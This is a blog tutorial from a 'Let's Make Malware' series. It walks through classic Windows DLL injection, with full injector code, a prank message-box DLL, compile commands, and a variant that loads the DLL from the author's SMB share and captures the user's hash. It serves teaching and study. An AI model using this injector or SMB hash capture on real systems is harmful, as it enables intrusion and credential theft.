Reprogrammed

Let's Make Malware - Classic DLL Injection

Lets Make Malware

Preamble

This week, we will cover Classic DLL Injection. As the name suggests, instead of injecting shellcode into a process, we will be forcing a process to run a DLL of our choice.

This technique will use many of the same Windows API functions we covered previously. We will introduce just three new ones. Those are GetProcAddress, GetModuleHandle, and LoadLibrary. Later in this series, we will see just how special those three calls are. But for now, let’s get started.

We will be using last week’s source code on Remote Process Injection and modifying it a bit. That codebase looked like this:

#include "windows.h"
int main() {
	//msfvenom Calc shellcode
	unsigned char payload[] = { don't trust random shellcode blobs you find on the Internet  };
	HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, 7492);
	LPVOID buffer = VirtualAllocEx(hProc, 0, sizeof payload, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc, buffer, payload, sizeof payload, NULL);
	HANDLE tHandle = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) buffer, 0, 0, NULL);
	WaitForSingleObject(tHandle, INFINITE);
	return 0;
} 

Change 1

The first thing we will change is our payload variable. We no longer need it. We will replace this with the following line:

char myDLLPath[] = "C:\\Windows\\Temp\\myEvilDLL.dll";

This new variable is what will be the absolute path of our malicious DLL. We can either create one using MSFVenom or, in keeping with the theme of this series, create our own DLL like so:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
	switch(fdwReason) { 
		case DLL_PROCESS_ATTACH:
            		break;
        	case DLL_THREAD_ATTACH:
            		break;
        	case DLL_THREAD_DETACH:
            		break;
        	case DLL_PROCESS_DETACH:
            		break;
    	}    
    	return TRUE;  
}

Of course, this is just our template. We still need to add a few things to make this code functional and ready to compile. Our complete DLL code will look like so:

#include "windows.h"
void execute() {
	MessageBox(NULL, "Don't call the cops bro. It's just a prank bro.", "You're already under my control", MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
	switch(fdwReason) { 
		case DLL_PROCESS_ATTACH:
			execute();
            		break;
        	case DLL_THREAD_ATTACH:
            		break;
        	case DLL_THREAD_DETACH:
            		break;
        	case DLL_PROCESS_DETACH:
            		break;
    		}    
    	return TRUE;  
}

We will cross-compile this using MinGW with the following command:

x86_64-w64-mingw32-gcc –shared -o myEvilDLL.dll myEvilDLL.cpp

Now, that we have our DLL, we can go back to our injector executable.

Change 2

The next line we will change is line 10. That is our call to VirtualAllocEx. We will change the fourth parameter to this:

LPVOID buffer = VirtualAllocEx(hProc, 0, sizeof myDLLPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Before our buffer contained our shellcode, but now it contains the absolute path to our DLL.

Change 3

Likewise for our call to WriteProcessMemory.

WriteProcessMemory(hProc, buffer, myDLLPath, sizeof myDLLPath, NULL);

Change 4

Next, we need to change line 12, our call to CreateRemoteThread. It will look like this:

HANDLE tHandle = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"), buffer, 0, NULL);

To refresh, CreateRemoteThread is defined as such:

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

Before we provided our buffer variable as the argument to the lpStartAddress parameter and set lpParameter to 0 as we did not need it. This time, however, we use a combination of GetProcAddress and GetModuleHandle to find the memory address of a third API: LoadLibrary.

Our buffer variable, which contains the absolute path of our malicious DLL, is then passed to LoadLibrary as an argument forcing the remote process to run it.

GetProcAddress will find the memory address of a function, also known as a procedure, and returns it. It is defined like so:

FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

The first parameter is a handle to a module. Or in other words, a DLL. This is where GetModuleHandle comes in.

The second parameter is the function (procedure) we are looking for.

GetModuleHandle does as its name suggests: returns a handle to a module.

It is defined like so:

HMODULE GetModuleHandleA(
  [in, optional] LPCSTR lpModuleName
);

Its only parameter is the module name we are looking for. Many of the functions we want to use as malware developers are in Kernel32.dll. It is a special DLL because Windows loads it into every process by default.

Finally, we have LoadLibrary. This should be self-explanatory as its purpose is to load a library (DLL).

It is defined like so:

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

Its parameter is also self-explanatory. It needs the file name of the DLL we want it to load. Simple!

And that’s everything we need. Our full injector code will look like this:

All Together

#include "windows.h"
int main() {
	char myDLLPath[] = "C:\\Windows\\Temp\\myEvilDLL.dll";
	HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, 7492);
	LPVOID buffer = VirtualAllocEx(hProc, 0, sizeof myDLLPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc, buffer, myDLLPath, sizeof myDLLPath, NULL);
	HANDLE tHandle = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32"), "LoadLibrary"), buffer, 0, NULL);
	WaitForSingleObject(tHandle, INFINITE);
	return 0;
} 

One thing of note is that we need to change the last parameter in our call to OpenProcess to the PID of the process we want to inject into before compiling. We will keep things simple and use notepad again.

Now, we need to transfer our malicious DLL onto a test machine to the Windows\Temp folder. Once we have that in place (and transferred our injector executable as well, of course), we can run our injector and watch the magic happen.

And there we have it! Our DLL attached to notepad and our message box popped up.

Message Box

To verify this, we can use process hacker to look at the loaded modules (DLLs) of the target process.

Verifying DLL attached

DLL Injection with UNC Paths

Finally, let’s make things a bit more interesting by hosting our DLL on a local system instead of our target. To do this we will make use of UNC paths.

In case you are unfamiliar, UNC stands for Uniform Naming Convention. Simply put, it is the path of a network or remote resource. It looks like this: \<hostname or IP>\<share name>\<resource>.

To utilize this, we will make one small change to our injector code.

We will change our myDLLPath variable to this and recompile:

char myDLLPath[] = "\\\\192.168.1.24\\TempShare\\myEvilDLL.dll";

This time, we will host our DLL on our own system on a share. We can do so using either Samba or the Impacket SMBSever.py script. For Impacket, we will use this command:

Note: You may need to provide the absolute path to the script as “impacket-smbserver” is an alias that comes with Kali Linux by default.

impacket-smbserver Share $(pwd) -smb2support

Once our SMB Server is set up and running, we will run our recompiled injector on our target machine once more.

On our local system, we should see the connection.

Impacket Connection

We have the added benefit of receiving the user’s hash as well.

And, again, we should see our message box appear! Now, our classic DLL injection is a bit less “classic”.

Resources

MSDN: VirtualAllocEx

MSDN: WriteProcessMemory

MSDN: CreateRemoteThread

MSDN: GetProcAddress

MSDN: GetModuleHandle

MSDN: LoadLibraryA

MSDN: Data Types

WikiBooks: Data Types